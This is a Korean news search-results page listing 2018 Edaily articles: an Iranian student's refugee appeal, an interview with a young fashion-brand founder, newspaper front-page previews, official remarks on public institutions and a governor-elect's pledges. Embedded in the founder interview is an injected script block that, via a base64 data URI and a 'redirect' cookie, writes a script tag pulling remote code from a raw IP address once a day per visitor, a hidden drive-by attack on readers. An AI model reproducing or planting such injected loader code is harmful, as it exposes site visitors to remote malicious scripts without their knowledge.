• 정렬
  • 영역
  • 기간
  • 기자명
  • 단어포함
  • 단어제외

뉴스 검색결과 1,060건

조희연 '난민신청' 이란 학생 만나 "교육 받을 권리 보장해야"
  • 조희연 '난민신청' 이란 학생 만나 "교육 받을 권리 보장해야"
  • 조희연 서울시교육감이 19일 서울 A중학교 학생들을 만나 ㄱ군 난민 신청과 관련해 격려하고 있다. (사진=서울시교육청)[이데일리 김소연 기자] 이란 국적의 서울 한 중학교 학생 ㄱ군이 최근 난민으로 인정받지 못해 강제로 한국을 떠나야 할 처지에 놓이자 조희연 서울시교육감을 비롯한 같은 중학교 학생들이 “ㄱ군을 난민으로 인정해달라”고 요구하고 나섰다.19일 ㄱ군은 직접 출입국·외국인정책본부 산하 서울 출입국·외국인청을 찾아 난민 지위 재신청을 했다. 조 교육감은 ㄱ군이 출입국·외국인청에 가기 전 학교를 방문해 격려하고 친구를 도와달라 호소하는 학생들도 만났다. 앞서 ㄱ군과 같은 중학교에 다니는 한 학생은 ‘ㄱ군을 난민으로 인정해 달라’는 게시글을 청와대 청원게시판에 올렸다. 현재 3만명 이상이 청원에 동참하고 있다. 이 학교 교사들 역시 소송비 마련을 위해 자발적인 모금을 진행하고 있다. ㄱ군은 2010년 사업을 하려는 아버지와 함께 7살에 한국에 들어와 만 8년을 살았다. 교회를 다니면서 기독교로 개종도 했다. ㄱ군은 초등학교부터 중학교까지 학급회장을 여러 번 할 만큼 학교생활에 적응을 잘하고 있다. 한국에 온 뒤 기독교로 개종한 ㄱ군 부자는 생존권 위협으로 이란에 돌아갈 수 없다고 판단, 한국 정부에 난민 신청을 했다. 서울행정법원 1심에서 난민으로 인정해 ㄱ군의 손을 들어줬으나 2심 재판부가 난민으로 인정하지 않았다. 3심에서 심리불속행 기각 처분을 받아 강제 출국 당할 위기에 처해있다. 이란은 무슬림 율법인 ‘샤리아법’이 지배하는 사회로 개종은 반역죄로 인정돼 최고 사형과 같은 중형까지 선고받을 수 있는 사회다. 이에 같은 학교 학생들은 ㄱ군이 이란으로 돌아가 박해받을 것을 걱정하고 있다. 이날 ㄱ군 같은 중학교의 학생·학부모·교사들은 서울 출입국·외국인청 앞에 가서 피켓구명운동에 동참했다.조 교육감은 “우리나라는 UN 아동 권리협약에 가입한 나라고, 아동은 차별 없이 교육을 받아야할 권리가 있다”며 “교육청 차원에서 도울 방안을 검토하고 있다”고 말했다. 이어 “앞으로 법무부 장관 면담을 신청해 학생이 마음 편히 친구들과 공부할 수 있도록 요청하겠다”고 덧붙였다.
2018.07.19 I 김소연 기자
  • [스냅타임] "붕어빵 스펙쌓기 만으로는 성공 못하죠"
  • (이미지=스냅타임)시현진(26·남)씨는 2018년 스트릿·캐주얼 의류 브랜드 ‘PARODY’를 설립했다. ‘2012 솔로대첩’에서 핫팩을 팔던 장사꾼이 창업의 꿈을 이루고 대표가 됐다. ‘PARODY’는 론칭 후 한달이 채 지나기 전에 스타일쉐어 외 5개의 유명 온라인숍에 입점했다.대학 시절 그는 서울 강남이나 노량진에서 성공을 찾고 싶지 않았다. ‘토익을 공부하거나 자원봉사를 하는 대신, 세계를 누비며 영어로 직접 말해보고 난민들을 도우면 되지 않을까’하는 생각으로 ‘세계여행 인생성공 프로젝트’를 실행에 옮겼다. 여행 중 그는 중국 기업의 이사·두바이 왕가 사람들과 장사를 하며 청년 장사꾼으로서 자신만의 성공 계획을 하나씩 실현해 나갔다. (이미지=스냅타임)창업의 꿈을 어떻게 키우게 됐나?'PARODY’의 대표이자 장사꾼 시현진입니다. 저는 어렸을 때부터 바깥세상에서 살고 싶었어요. 고등학생 때 집 앞 5분 거리에서 자취를 할 정도였으니까요.그래서 회사에 구속되지 말고 내가 대표를 하자 결심했어요. 고등학교 졸업식에서 제가 직접 꽃을 판매할 정도로 매일 어떤 것으로 장사할 수 있을까 고민했죠.세계여행 중 각국의 사람들과 사업을 진행하면서 시장을 읽고자 했어요. 한국에 돌아와 전 세계적으로 관심이 많은 의류 시장에 뛰어들었고 ‘PARODY’를 완성했죠. (이미지=스냅타임)세계여행 인생성공 프로젝트가 뭔가?모든 인종, 모든 문화의 사람과 사업을 진행해볼 좋은 기회였어요. 두바이에서는 차 번호가 낮을수록 지위가 높거나 부자인 사람이에요. 그 차에서 사람이 내리면 무작정 따라갔죠. 그 사람에게“나는 한국에서 온 대학생이고, 세계여행을 통해 인생성공을 배우고 있다”며 황금색 트리볼에 싸인을 받았어요. 그 싸인볼을 시장에 팔았는데 반응이 정말 좋았죠. 대만에서 'cathay life'에게 부동산 자문을 해줬어요. 그때 이사가 자기 회사에서 일해보지 않겠냐고 얘기한 적도 있었죠. 다양한 사업을 하면서 실패한 적도 있지만 성공할 때마다 제 능력을 인정받는 것 같아서 기분이 정말 행복했어요.대학생이나 취준생이라면 토익·자원봉사·대외활동을 하잖아요. 남들과 다 똑같다면 아무도 제 물건의 매력을 느낄 수 없을 거로 생각했죠. 여행을 마치고 돌아왔을 때 확신했어요. 제가 만들 의류 브랜드의 성공을.물론 프로젝트는 지금도 진행 중이에요. ‘PARODY'를 세계 곳곳에 알리고 싶어요. (이미지=PARODY 홈페이지)의류를 선택한 이유가 있나?모든 문화를 아우르는 것을 만들고 싶었어요. 세계여행을 다니면서 아바야·치파오·기모노처럼 각 나라를 대표하는 의류를 다 보게 됐어요. ‘옷이란 결국 소속감이고 언제까지나 필요한 것이다.’ 생각했죠.제가 만든 브랜드가 어떤 사람이든 다 포용할 수 있다면, 그보다 더한 성공은 없다 싶었어요. 언젠가 제 옷을 파리·뉴욕·도쿄의 패션쇼에 세울 거에요. (웃음) (이미지=스냅타임)도전이 어려운 청춘에게 한마디“3포 아닌 3득 하세요”요즘 많은 사람이 삶의 행복을 포기하는 것이 너무 안타까워요. 고등학생이면 수험공부 하느라, 대학생이면 취업준비 하느라 취미·연애·휴식에서 멀어져요. 더 잘 살기 위해 행복을 포기해야 하죠.그런데 저는 오히려 세계여행을 통해 다 가지려고 하니까 길이 열렸어요. 손에서 하나씩 놓을 때마다 잡고 있던 꿈으로 향하는 밧줄도 점점 느슨해지는 것 같아요. 하나라도 더 가지려는 순간 한 발 더 갈 수 있어요. 모든 청춘이 사랑·꿈·여가 모두 가졌으면 좋겠어요.<!--/codes_iframe--> <!--codes_iframe--> {var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
2018.07.08 I 유정수 기자
  • [미리보는 이데일리신문]‘안되면 말고’…섣부른 개발계획에 주민만 골병
  • [이데일리 강신우 기자]다음은 3일자 이데일리 신문 주요 뉴스다.△1면-‘안되면 말고’…섣부른 개발계획에 주민만 골병-수출경기 둔화에 ‘공포매매’까지, 미중 무역분쟁 증시 집어삼키다-개헌안에 예산법률주의 담은 與, ‘예결상임위’ 만드나-日활성화법 통과…동북아 카지노전쟁 예고[사설]-이젠 내각에 책임과 권한 분산해야-물난리도 자꾸 반복되면 人災다△줌인&-최저임금, 주52시간제…현안 산적한 경총 ‘진흙탕 집안싸움’ 눈총-열집 중 세집은 ‘여성 家長’…미혼녀 가구주 10년새 48% 늘어△대형 개발 프로젝트 잇따라 좌초-트램도 전철도 줄줄이 스톱…‘출근길 뚫린다’ 믿었던 신도시 입주민 어쩌나-20년간 조사기관 단 한 곳…평가기준 불만 커져문호 개방해 사업별 특성 고려한 조사 이뤄져야△‘주 52시간제’ 출근 첫날-“회식도 꺼려, 법인카드 한도 반토막”“금요일 오후2시 제주 여행 가요”-근로시간 산정, 법원, 고용부 다른 기준…혼란 더해△코스피 文 취임 이후 최저치-무역전쟁, 수출둔화, 정책리스크…3災겹친 코스피, 14개월 전으로 뒷걸음질-美 주도 무역전쟁에 中경기 악화 덮쳐글로벌 금융시장 ‘먹구름’△세계 추세 역행하는 ‘규제 한국’-내국인 금지, 매출 총량제 이어…‘카지노 허가 5년마다 심사’ 도입 추진-日, 필리핀, 러시아에 北까지…복합리조트 개발 열기△文정부 ‘예산법률주의’ 도입하자더니-정권만 잡으면 모르쇠…해묵은 논쟁 끝내고 ‘예결위=상임위’로 바꿔야-美의회는 예산 편성권에 무제한 수정 권한도…拂, 英 재정위는 예산 심의만-예산 전문가 이원회, 박정수 교수 인터뷰“예산 총량 정하면 쪽지예산 사라질 것”△정치 -美, 北에 ‘완전한 핵시설 신고’ 압박…北, 연락사무소 설치, 제재완화 요구할 듯-“과로사회 벗어나자 강조하다 과로로 탈나 민망”-한국당 비대위원장 내주 확정…비대위 기간 두고 갑론을박-11년 만에 北가는 조명균, 김정은, 김여정 만나나△경제·금융-한·미FTA 개정 카드로…美 ‘車관세폭탄’ 피하나-결국 ‘기촉법’ 일몰…한계기업 비상-지금 당장 인상 안해도…2년 뒤엔 ‘몰라’△산업&기업-텅빈 도크…조선업계 하반기 5000명 짐 싼다-구광모와 손발 맞췄던 5인방, 뉴LG 먹거리 발굴 중책 맡나-생큐 MLCC…삼성전기 2분기 실적 ‘호호’-그랜저·싼타페 씽씽…현대차, 올해 첫 월판매 40만대 돌파-LCD 치킨 게임‘ 넘는다…LGD, OLED 전환 가속△산업-진화하는 숙박앱 ‘워터파크·VR체험도 예약하세요’-갤노트9 S펜은 ‘음악재생 리모컨’?△소비자생활-애경·롯데 이어…신세계도 ‘수원성을 접수하라’-‘고객님 안심하고 드세요’, 외식 ‘푸스펙’ 공개 바람-아이와 레고 조립, 캐릭터 객실서 꿀잠…휴가철 부모 마음을 훔쳐라-정년없는 직장 선언하니…독주시장서 ‘독주’△건강-진행 느리고 생존율 높은 ‘거북이 암’…로봇 수술로 흉터, 합병증 없이 잡는다-비가 오려나…일기예보처럼 쑤시는 관절염 ‘운동이 약’-스마트폰 시대, 척추는 괴롭다△성공異야기-노은식 디케이락 대표 인터뷰외환위기 때 고가장비 헐값 매입…역발상으로 만든 ‘스테인리스 강관 이음쇠’-누수없는 대형 볼밸브로 남북러 가스관 잇고파△증권&마켓-‘증시 소나기 피하자’…배당주펀드로 가는 개미-한국거래소 ‘코스닥 22주년’ 맞아 중장기 업무방향 발표“코스닥, 中”선전거래소 우량 기업 유치, 글로벌 초일류 기술주시장으로 키울 것“-여름방학땐 자본시장 배워 ‘부자꿈’ 꾸세요-100개 상장사 중 76개사 사업보고서 ‘부실’△증권-교보증권 인수전 새국면…하나금융, IMM PE도 ‘군침’-KB증권 채권발행 주관 부문 ‘최강자’…한투證 인수부문 ‘톱’-‘과학적인 투자전략 경험하세요’…KG제로인 ‘스마트베타Z’ 공개△문화&스포츠-우아하고 호쾌한 여자축구 김혼비 작가 인터뷰“축구 잘하고 싶어 힐벗고 숏컷 싹둑”-미군 이병헌, 경영인 조승우…‘내부자들’ 안방극장 접수 납시오-그저 얘기 나누고 싶었는데…남보다 못한 사이, 가족△스포츠-위기 극복도 ‘남달라’<박성현 별명>-두산 ‘안방 마님’ 양의지, 올스타전 최고 별로 우뚝-유니폼 속 GPS가 뛴 거리 계산하고…심판이 찬 시계는 선수정보 알려줘-키커가 넣을 확률 이론상 100%, 떨지만 않는다면…-42경기 연속 출루 추신수, MLB ‘6월 최우수 우익수’△사람&나눔-대법원장, 신임 대법관에 김선수, 이동원, 노정희 임명제청‘서판남→여성, 비법관, 비서울대’로 구성 다양화-박길연 하림 대표 취임 “2030년&#4353;&#4510;지 가금식품 세계 톱10 진입할 것”-이정대 한국농구연맹 신임 총재, “낮은 자세로 농구팬 의견 적극 들을 것”-김효명 신용보증기금 전무이사-한국타이어 계열사 모델솔루션 우병일 대표이사△오피니언-[목멱칼럼]김병숙 한국서부발전 사장 ‘교통정리 필요한 에너지전환 정책’-[기자수첩]여론은 법이 아니다-[생생확대경]추경과 일자리, 연결고리 빨리 찾아야△부동산-“반포현대 억대 재건축 부담금 과하다”…서초구, 산정기준 재검토 착수-“한강변 재건축 35층 층고 제한…바꿀 생각 없다”<박원순 서울시장 3선 취임 회견>-주택소비자 10명중 4명 “하반기 집값 보합세”△사회-인천지자체vs교육부 ‘학교용지 비용’ 갈등에…송도 ‘콩나물교실’ 될판-안희정 전 충남지사, 첫 정식재판檢 ‘원치 않은 성관계’ 병원기록 공개安 “위력 없는 애정 하에 이뤄진 관계”-가정폭력 남편 살해한 아내 ‘징역 4년’ 확정-‘취임식 대신 수해 현장’…민생 챙기는 7기 지자체장-“중3은 혁신 1세대”, 속 뒤집는 김상곤
2018.07.02 I 강신우 기자
  • [미리 보는 이데일리 신문] 상상을 현실로 만드는 사람이 디지털 승자
  • [이데일리 김미영 기자] 21일자 이데일리 신문 주요 뉴스. ◇1면-상상을 현실로 만드는 사람이 디지털 승자-“주52시간 위반, 처벌 6개월 유예”-저소득층 589만가구, 건보료 월 2만2000원 줄어든다-116개 대학 2만명 감축...구조조정 본격화-[사설] 北中 밀월 맞서 韓美공조 굳게 다져야-[사설] 현대차 노조 ‘광주형 일자리’ 왜 반대하나◇세번째 북중 정상회담 손익계산서-시진핑 “北경제발전 노선 지지”...유엔 제재 밖 경제협력 급물살-美와 후속협상할 北인사 김영철 대신 리용호 부상-中과 한 참모부에서 긴밀히 협력할 것“ 김정은 ‘비핵화 논의’ 중국 참여 공식화◇근로시간 단축 시행 앞두고...한발 물러선 정부-주52시간제 혼란 줄이려면...탄력근무 기간 늘리고 재량근무 확대해야-”인력 충원, 설비 자동화...여력 있어야 하죠“ ”근로시간 측정 어려운 운전기사는 어쩌나요“-‘처벌 유예’ 총대 멘 경총...文정부 정책 파트너 입지 굳히나◇제9회 이데일리 전략포럼-‘신과 함께’의 감동, 디지털이 빚어냈죠” -“경험칙 회로 깨야 새 아이디어 나와”-“돈 못버는 게임 만드는 건, 기업의 사회적 책임 외면하는 짓”◇제9회 이데일리 전략포럼-“자기 계발 안하면, 워라밸은 남의 얘기”-“산업 간 벽 무너진다...본업 뛰어넘지 않으면 도태될 것”-“엉뚱하면 어떤가, 남과 달라야 행복해져”◇제9회 이데일리 전략포럼-개그맨, 배우 ‘계급장’ 떼고 공감 배틀...“1인 미디어가 진짜 예능”-“취미를 직업으로 삼았더니 게임·수다로 年 17억 수익”-“BJ라는 직업이 개인 방송 새 지평 열어”◇제9회 이데일리 전략포럼-“구글 취업 꿈꾸는 청년들...세상 바꾸고 싶다면 창업하라”-“페북 뜨자 싸이월드 무너져...글로벌 전략으로 승부해야”-“‘무엇이 돈 될까’ 아닌 ‘무엇이 문제인가’ 생각하라”◇제9회 이데일리 전략포럼-청바지 학생부터 넥타이 CED까지...디지털로 소통하다-“부모님께 매달 용돈 천만원 제가 ‘풍력’이 좀 좋아요~”-“시대 앞서가는 리더 노하우 배워”...“아이들에게 훌륭한 인생 교육”◇내달 건보료 개편안 시행-전세 사는 무직청년 ‘최저 보험료’...연금받는 땅부자 할아버지 ‘18.8만원’-年 8493억원 수입 줄어들어...보험료 요율 인상 불가피할 듯◇정치-당정청, 경제지표 악화 문제의식 공유...“저소득층 일자리 대책 내달 발표”-친박 맏형 서청원 탈당...한국당, 혁신은 어디가고 계파 싸움만-돌아온 양정철...文정부 2기 역할론 주목-‘족집게 예언’ 문정인...‘한국형 3축 체계 조정’도 현실 될까-민주평화당, 비대위 건너뛰고 조기 전당대회◇경제·금융-“경유값, 휘발유의 91% 수준 인상”...1000만원 경유차주들 어쩌나-대장점악내암 일반암 보장 보험료도 최대 20% 저렴-‘전속고발권 폐지’ 놓고...공정위 vs 검찰 기싸움 하나-당국, 금융사 내부통제 시스템 손본다-방탄소년단 기념일에 입금하면 금리 더 줘요◇산업&기업-포스코 ‘깜깜이 회장 인선’ 놓고 시끌시끌-조성진 부회장, IFA서 ‘LG씽큐’ 소개-현대차·아우디 ‘수소車 동맹’ 글로벌 친환경차 선두 넘본다-대우전자, 65인치 UHD TV 출시 178도 광시야각, LED 백라이트-美 차세대 메모리, 中 반도체 굴기에...추격 당하는 韓 반도체◇산업·소비자생활-11번가 독립...SK ‘커머스 사업’ 승부수 띄웠다-빗썸도 뚫려...가상화폐 거래소 불신 확산-퇴근후 문센 찾는 2030女 덕에...홈인테리어, 악기 판매 쑥-‘터치족’의 힘...GS샵 모바일 취급액, TV홈쇼핑 추월할 듯◇중소기업·벤처-가전·여행과 결합한 상조...대명·교원, 방판 없이도 잘 나가네-바텍 치과용 영상장비 주요부품 ‘10년 보증’-[현장에서]‘라돈 사태’ 키우는 대진침대의 소극적 대응-KCC, 기업 공식 블로그 ‘KCC 매거진’ 오픈◇증권&마켓-공포 이겨낸 신고가株...올라탈까 말까-111년 만에...GE, 美다우지수서 퇴출-美中 무역전쟁에...잠못드는 中펀드 투자자-삼성전자 신용등급 ‘A1→Aa3’로 상향조정◇문화&스포츠-“극장장·예술감독 없어요...젊은 연극인이 주인이죠”-고독을 달고 사는 인간들 유쾌하지만 묵직하게 다뤄-내년 1월1일부터 음원가격 오른다...스트리밍 창작자 몫 60%→65%◇스포츠-“월드컵서 언제 3승했나...아직 2경기 남았다”-문재인 대통령, 러시아서 “대~한민국” 한국·멕시코전 직접 관전-오지현 대회 3연패냐...장하나 시즌 3승이냐-이집트마저 꺾었다 러시아 ‘통쾌한 반란’-‘디오픈 사나이’ 피터 톰슨 타계◇사람&나눔-“공공재인 아파트·학교에 ‘감사공영제’ 도입하겠다”-“5G 신시장 겨냥...네트워크 보안 선두업체로 도약”-‘미투 확산 기여’ 최영미 시인, 서울시 성평등상 대상-유희성 서울예술단 이사장-카스텐 퀴메 네슬레코리아 CEO-인사가 만사-명복을 빕니다 ◇오피니언-[신동민의 인생 영업]지금 이순간에 집중하라-[목멱칼럼]노동 지향 정책의 역효과-[갤러리]김종숙 ‘인공풍경-정물화’◇부동산-임대·숙박 다 되는 레지던스...‘규제프리’ 상품으로 뜬다-거래절벽에 수입 주는데...공인중개사協은 권력투쟁 중-지제역 걸어서 이용...세계 최대 삼성전자 반도체공장 인접◇사회-교육부 ‘살생부’에 대학가 멘붕...자율개선대학 웃고, 정원감축대상 울고 -황창규 ‘불구속’ 지휘 놓고 檢 vs 警, 또 날선 신경전-‘미세먼지 원인규명 보고서 공개’ 중국 반대로 무산-결혼 이주여성 42% “가정폭력 경험했다”-“지하철에 폭발물 설치” 700억 요구 30대 검거
2018.06.20 I 김미영 기자
  • [미리보는 이데일리 신문]“디지털 경쟁력은 소통이 좌우한다”
  • [이데일리 전재욱 기자] 20일자 이데일리 신문 주요 뉴스.◇1면-“디지털 경쟁력은 소통이 좌우한다”-트럼프 보란듯이..訪中알린 김정은-공공기관 ‘철밥통’ 호봉제 없앤다-“접히는 스마트폰 미리 준비해야죠”-[사설]한국당 의원들 모두 수술대에 올라라-[사설]이주열 한은총재의 해법이 궁금하다◇줌인&-[줌인]“난민이라도 부모·자녀 생이별 안돼”..트럼프에 반기 든 앵그리 레이디-아파트 지하주차장 높이 2.3→2.7m로..제2 택배대란 막는다◇김정은 올들어 3번째 방중-北, 제재 완화 우군 만들기..中, 한반도 영향력 키우기 ‘이해 합치’-金, 방북 예정 폼페이오 두고 또 중국행..美협상 앞두고 신경전?-美 무역 압박에 시달리는 中..김정은 지렛대 삼아 갈등 완화 노리나◇제9회 이데일리 전략포럼-규제 혁신해 투자 촉진..정부·기업 함께 창의적 대안 모색하는 시간 되길-사라졌던 스웨덴 일자리 10%, 결국 더 많이 만들어내..디지털 혁신은 기회-“제조업으론 일자리 더 못 만들어..근로자 재교육해 새 일자리 줘야”◇제9회 이데일리 전략포럼-거창한 목표 세우지 말라..창업 아이디어는 생활 속 질문에서 나온다-“스퀘어 창업 때도 17개 법과 충돌..위법 생각않고 솔루션에만 집중했다”-[특별강연]홍종학 중기부 장관 ‘개방형 혁신국가의 길’◇제9회 이데일리 전략포럼-시간·장소·상황 구애받지 않는 디지털 대화 통로 찾아라-한국만 ‘꼰대’들의 생각에 갇혀 있다-극대화된 소통사회..소외감 다스리는 훈련 필요◇제9회 이데일리 전략포럼-덩치 아닌 속도가 ‘디지털 신세계’ 생존 경쟁력..정치권도 빠른 대응 도울 것-“시간·장소 안가리는 디지털 소통 누구에게나 기회 주고 기술 공유”-[말말말]스웨덴 사람이 마이크 잡기 않좋은 타이밍-“창업 꿈꾸는 청춘에 권하고 싶은 강연” 호평◇제9회 이데일리 전략포럼-소통하고, 체험하고..여기는 ‘디지털 축제 현장’-제9회 이데일리 전략포럼에 참석해주신 분들 감사합니다◇제9회 이데일리 전략포럼-“FDA와 협의해 임상시험 최소화 가능”..美 인허가 노하우 강연에 쫑긋-기술력·잠재력 뛰어난 기업들 한자리에 투자처 찾는 사람들 부스 찾아 질문 세례◇정치-文, 소폭 개각 후 ‘친정체제 강화’ 국정장악력 키울 듯..개각 규모 주목-‘범진보 연정·연대’ 실현 물건너가나..-“安 조급증이 최대 리스크”..쓴소리 쏟아진 바른미래당 워크숍◇공공기관 호봉제 내년 전면 폐지-‘임금 준다’ 노조 반발 해소, 직무평가 공정성 확보..‘철밥통’ 임금체계 개혁 키워드-“公기관 임금체계 개편 필요하지만..속도조절로 부작용 줄여야”-대한 석탄공사 포함 공공기관 8곳 낙제점..석유공사도 2년 연속 ‘D’◇금융-보험사도 대출 깐깐해져..저신용자, 불법 私금융으로 내몰리나-우리銀 ‘지주사 전환’ 결의 내년초 6개 자회사로 출범-中企근로자 가족에 희망을 기업은행, 치료비 7억 후원-카드사 내달부터 ‘중금리 대출’..은행·상호금융과 경쟁◇산업&기업-면세점, 국내외 공항 입찰 경쟁 본격화..시장 구도 재편 이어질지 주목-KFC, 매출 전년 대비 10% 성장-SKC, 접는 스마트폰용 디스플레이 소재 일관생산체제 구축-삼성전자, 스마트공장 전환 지원 중소기업 1000곳 돌파-“근로시간 단축, 6개월 계도기간 달라”-SK텔레콤 “7777·1004 골드번호 주인공 찾아요”◇산업·소비자생활-라돈침대, 비닐 한겹만 싸도 방사능 유출 안돼..큰 걱정 마세요-‘개관 104년’ 조선호텔 세탁소 역사 속으로..-의류업계 ‘개성공단 재취업’ 염원하는 이유, 셋-넷플릭스 고문변호사, 방통위 실무진 면담 취소◇증권&마켓-G2 무역전쟁 심화..‘형’보다 충격 더 받은 ‘아우’-잇단 악재에 국내 증시 내리막길 걷는데..‘반등에 베팅’ 개미들 레버리지 ETF 몰려-궐련형 전자담배 유해성 논란에도..KT&G 올라, 왜-자산총액 1조 넘는 상장사, 감사위 설치 의무화◇증권-美·中 무역갈등에 强달러까지..된서리 맞은 농산물 펀드-대형 우량 리츠 2년 만에 상장 재개-국민연금 기금운용역 채용 난항..목표치 절반만 수혈-경남제약 “우선협상자 인수의지 여전..소송 탓 매각 지연”◇Book-육아천국 돌아보니 ‘라떼파파’ 천지더라-‘열심히 일하면 부자된다’ 자본주의 달콤한 유혹인가-그라운드 위 전술 운용 기업전략과 쏙 빼닮아-200자 책꽂이◇스포츠-아직 2경기 남았다..흥분 잘하는 멕시코 역이용해야-‘한국오픈 사나이’ 배상문·양용은 격돌-이승우 휘젓게 하고 손흥민 날뛰게 하라-신태용 “멕시코 버거운 상대지만..다시 잘 준비하겠다”-유소연, 단숨에 5위로 ‘쑥’◇사람&나눔-3·1운동·임시정부 100주년..국민이 주도하게 믿고 맡겨야-최종삼 홈앤쇼핑 대표 “TV·모바일 시너지 고민”-BNK금융 ‘개성공단 기업에 2000억원 쏩니다’-산은, 13번째 백혈병 환우에 ‘사람 나눔’-공공상생연대기금 아이디어 공모-이데일리TV-인사가만사-명복을빕니다-DB손보·어린이재단 ‘옐로카펫’ 설치 협약◇오피니언-[목멱칼럼]미래금융, 선제적 디지털 혁신 나서야-[전문기자칼럼]코앞에 닥친 ‘블록체인 골든타임’-[e갤러리]이건희 ‘말하는 종이’-[기자수첩]사회적 책임 외면, 도 넘은 필립모리스◇부동산-보유세 인상, 입주물량 봇물, 금리 상승 ‘삼재’..투자심리 상반기만 못할 것-금리 올리고 대출 옥죄니..경매물건 4년 만에 늘어-개발부담금 부과 이후 낸 학교용지부담금·기부채납액도 개발비로 인정◇사회-‘쓰레기 대란’ 석 달째..무용지물된 비닐 감축 협약-수사는 ‘大尹’..행정은 ‘小尹’ 文정부 검찰 ‘쌍尹마차 시대’-‘유령주식 매도’ 삼성증권 직원 넷 사전영장-‘비공개 촬영회 음란물 유통’ 43명 조사-인천공항 노조 “정규직 전환 약속 불이행” 반발
2018.06.19 I 전재욱 기자
김성진 靑비서관 “공공기관 목표 사회적 가치 실현 돼야”
  • 김성진 靑비서관 “공공기관 목표 사회적 가치 실현 돼야”
  • 14일 서울지방조달청에서 열린 공공기관 혁신 공개토론회 모습. (사진=기획재정부)[이데일리 김형욱 기자] 김성진 청와대 사회혁신비서관이 공공기관이 앞장서서 사회적 가치를 실현해야 한다고 역설했다.김성진 비서관은 14일 서울지방조달청에서 열린 공공기관 혁신 공개토론회 축사에서 “정부와 공공기관은 지금까지 공공연히 재벌을 밀어주고 중소기업을 살피지 않았다”며 “이제는 사회적 가치를 제대로 실현하고 국민 살리는 방향으로 달라져야 할 것”이라고 말했다.그는 “자본, 부자만 존중받는 사회가 된 데 국가 책임이 없다고 할 수 없다”며 “우리가 (사회적 가치 실현이란) 우리 존재이유를 잘 해 나간다면 국민의 가려운 곳을 긁어줄 수 있을 것”이라고 덧붙였다.김 비서관은 이 과정에서 국민 참여 확대의 중요성도 강조했다. 그는 “지금까지 우리는 행정 주체로서 국민을 객체, 서비스 대상으로 보고 따라오도록 했다”며 “재벌이나 대기업이 아닌 국민의 목소리가 더 크게 들리도록 해야 해야 우리 걸음걸이가 바른 방향으로 직진할 수 있을 것”이라고 말했다.적폐청산도 강조했다. 그는 “국민이 정부와 공공기관을 믿지 못하는 근본적인 이유는 부패, 그리고 부패와 연결된 돈 있고 힘 있는 사람이다”라며 “달라진 정부, 공공기관의 시작은 지난날 잘못을 내·외부적으로 확실히 정리하는 것”이라고 말했다.김 비서관은 여당이 압승한 전날 지방선거 결과를 거론하며 “우리 국민이 아직 기대를 저버리지 않았다는 점에서 두렵다”고 말했다. 국민이 현 정부에 여전히 기대를 보내고 있지만 사회·경제적 변화는 아직 못 느끼고 있다는 점에서 책임감을 느낀다는 것이다.그는 “촛불 시민혁명을 지지한 국민은 73%였으나 실제 참여한 국민은 28%였다. 나머지 44%는 나가고 싶었으나 시간·경제적 여건이 없다고 했다. 사회·경제적 양극화가 민주주의를 위협한다는 것”이라며 “대한민국을 혁신하는 건 정부와 공공기관 임직원에게 던져진 절실한 숙제”라고 역설했다. 이어 “정부 최일선에 선 공공기관 임직원 한명 한명이 사회적 가치와 국민참여, 적폐 청산이란 세 가치를 공유한다면 국민에게 칭찬받을 수 있을 것”이라고 덧붙였다.한편 국내에는 한국전력(015760), 국민건강보험공단, 한국철도공사, 서울대학교병원 등 300여 공공기관이 있다. 이들의 예산 범위는 641조원으로 국가 예산의 1.5배, 정규직 규모가 33만7000명으로 국가공무원의 절반에 달한다.
2018.06.14 I 김형욱 기자
이철우 당선 일성 “20조 투자유치로 10만 일자리 창출”
  • [선택 6.13]이철우 당선 일성 “20조 투자유치로 10만 일자리 창출”
  • 이철우 경북지사 당선자(사진=연합뉴스)[이데일리 김미영 기자] 이철우 경북도지사 당선자는 13일 “일자리 창출을 위해 4차 산업혁명에 걸맞는 기업을 대상으로 20조원의 투자를 유치해 10만개의 일자리를 창출하겠다”고 밝혔다.자유한국당 소속인 이 당선자는 이날 밤 당선이 확정되자 당선소감문을 통해 “제가 만들어 갈 경북은 양질의 안정적인 일자리 창출과 아이 키우기 좋은 경북”이라며 이같이 강조했다.그는 또한 “굴뚝없는 관광산업은 21세기 최고의 유망산업”이라며 관광산업 활성화 구상도 제시했다.그는 “경북은 천혜의 자연경관과 경주, 안동 등 찬란한 문화유산을 지닌 관광의 명소이자 문화재의 보고로, 경북문화관광공사를 설립해 세계인들이 오는 ‘관광 경북’을 실현하고, 일자리도 창출하겠다”며 “동해안을 대한민국의 새로운 중심 관문으로 육성해 최근의 남북관계 분위기에 맞춰 동해안시대를 활짝 열겠다”고 했다.이어 “농업이 도정(道政)의 기본이 되는 ‘농위도본(農爲道本)’의 정책으로 농민 모두가 부자가 되는 ‘농부(農富)경북’을 실현할 것”이라며 ‘경북농산물유통공사’ 설립 공약도 재확인했다.복지 강화 의지도 피력했다.이 당선자는 “‘요람에서 무덤까지’ 책임지는 ‘따뜻한 이웃사촌 복지 공동체’를 실현하겠다”며 “출생에서부터 성인이 되기까지 훌륭한 교육을 받고, 양질의 일자리를 얻어 결혼-출산으로 행복한 삶을 꾸려가는, 어머니 품처럼 따뜻한 복지를 실현하겠다”고 약속했다.그러면서 “북한 핵보다 더 무서운 게 저출산으로, 우리사회가 극복해야 할 가장 큰 난제”라면서 “저출산 문제 해결을 위해 정부와 전국 광역자치단체가 공동으로 참여하는 ‘저출산 극복 국민계몽운동’을 함께 추진하겠다”고도 했다.이철우 당선자는 “경북은 일자리와 복지가 넘치고 동네마다 아기들 울음소리가 끊이질 않는 ‘대한민국의 중심’이 될 수 있다”며 “경북이 대한민국의 중심에 